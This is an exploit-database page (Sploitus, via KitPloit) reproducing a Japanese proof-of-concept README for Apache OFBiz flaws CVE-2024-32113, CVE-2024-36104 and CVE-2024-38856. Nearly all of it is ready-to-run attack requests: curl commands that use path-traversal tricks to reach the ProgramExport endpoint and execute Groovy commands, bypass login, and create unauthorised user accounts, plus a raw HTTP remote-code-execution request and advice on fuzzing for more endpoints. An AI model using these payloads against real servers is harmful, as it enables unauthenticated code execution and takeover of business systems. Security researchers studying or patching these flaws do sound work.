Sploitus

Exploit for CVE-2024-32113-POC

kitploit · 2026-09-01

Exploit Code

MARKDOWN125 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RACERZ-FIGHTING-CVE-2024-32113-POC
# Apache OfBiz の脆弱性

### CVE-2024-32113 の POC

`USERNAME` と `PASSWORD` のパラメータは、誰でもアクセス可能な `/ecomseo/AnonContactus` インターフェースで指定できます。

  * POC1:RCE

root@kitploit:~
        
        curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/ProgramExport' \
        --header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
        --header 'Accept: */*' \
        --header 'Host: 127.0.0.1:8443' \
        --header 'Connection: keep-alive' \
        --header 'Content-Type: application/x-www-form-urlencoded' \
        --data-urlencode 'some-email@example.com' \
        --data-urlencode 'JavaScriptEnabled=Y' \
        --data-urlencode 'PASSWORD=12345' \
        --data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
        

  * POC2:ログインをバイパスして、制限された webtools 管理インターフェースにアクセスできます。

root@kitploit:~
        
        curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/login/' \
        --header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
        --header 'Accept: */*' \
        --header 'Host: 127.0.0.1:8443' \
        --header 'Connection: keep-alive' \
        --header 'Content-Type: application/x-www-form-urlencoded' \
        --data-urlencode 'some-email@example.com' \
        --data-urlencode 'PASSWORD=12345' \
        --data-urlencode 'JavaScriptEnabled=Y'
        

  * POC3:`userLoginId` をユーザー名として、通常のユーザーアカウントを登録できます。

root@kitploit:~
        
        curl --noproxy '*'  -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/../../../%2e/webtools/control/createUserLogin' \
        --header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
        --header 'Accept: */*' \
        --header 'Host: 127.0.0.1:8443' \
        --header 'Connection: keep-alive' \
        --header 'Content-Type: application/x-www-form-urlencoded' \
        --data-urlencode 'some-email@example.com' \
        --data-urlencode 'PASSWORD=12345' \
        --data-urlencode 'JavaScriptEnabled=Y' \
        --data-urlencode 'enabled=Y' \
        --data-urlencode 'partyId=' \
        --data-urlencode 'userLoginId=30000' \
        --data-urlencode 'currentPassword=12345' \
        --data-urlencode 'currentPasswordVerify=12345' \
        --data-urlencode 'passwordHint=' \
        --data-urlencode 'requirePasswordChange=N' \
        --data-urlencode 'securityQuestion=' \
        --data-urlencode 'SecurityAnswer=' \
        --data-urlencode 'externalAuthId='
        




### CVE-2024-36104 の POC

  * RCE1

root@kitploit:~
        
        curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/.%2e/.%2e/.%2e/webtools/control/ProgramExport' \
        --header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
        --header 'Accept: */*' \
        --header 'Host: 127.0.0.1:8443' \
        --header 'Connection: keep-alive' \
        --header 'Content-Type: application/x-www-form-urlencoded' \
        --data-urlencode 'some-email@example.com' \
        --data-urlencode 'JavaScriptEnabled=Y' \
        --data-urlencode 'PASSWORD=12345' \
        --data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
        

  * RCE2

root@kitploit:~
        
        curl --noproxy '*' -k --location --request POST 'https://127.0.0.1:8443/xxx/yyy/zzz/..;/..;/..;/webtools/control/ProgramExport' \
        --header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \
        --header 'Accept: */*' \
        --header 'Host: 127.0.0.1:8443' \
        --header 'Connection: keep-alive' \
        --header 'Content-Type: application/x-www-form-urlencoded' \
        --data-urlencode 'some-email@example.com' \
        --data-urlencode 'JavaScriptEnabled=Y' \
        --data-urlencode 'PASSWORD=12345' \
        --data-urlencode 'groovyProgram=println (('\''tou'\'' + '\''ch /tmp/success'\'').execute().text);'
        

PS:`;` を使用すると cookie の設定で例外がスローされるため、cookie を手動で取得する必要があります。

![image-20240514104449523](https://assets.kitploit.com/production/public/readmes/38883/0ae6ea76197dceac775af927c6e1095d67c3fec172f43cfc00ebd14b464036f6.png)




# ![image-20240514104433195](https://assets.kitploit.com/production/public/readmes/38883/4043755ffaea3d804e0d07cbbdb59eac68150ba1cb9f64d42a1e461225d757a8.png)

### CVE-2024-38856 の POC

  * RCE

root@kitploit:~
        
        POST /webtools/control/forgotPassword/ProgramExport HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Host: 127.0.0.1:8443
        
        groovyProgram=throw+new+Exception('id'.execute().text);
        

**PS** :`forgotPassword` は他のリクエストに置き換えることができます。`webapp/webtools/WEB-INF/controller.xml` 内を検索して(画像参照)、ファジングを試すことができます。リクエストが正常に `success` を返す限り、`ProgramExport` モジュールで RCE をトリガーできます。

![image-20240604195154504](https://assets.kitploit.com/production/public/readmes/38883/13d0a8055a2e7a72b9a4cd4c2340f6a033901d1d7bfb9d920e54833eb04a6769.png)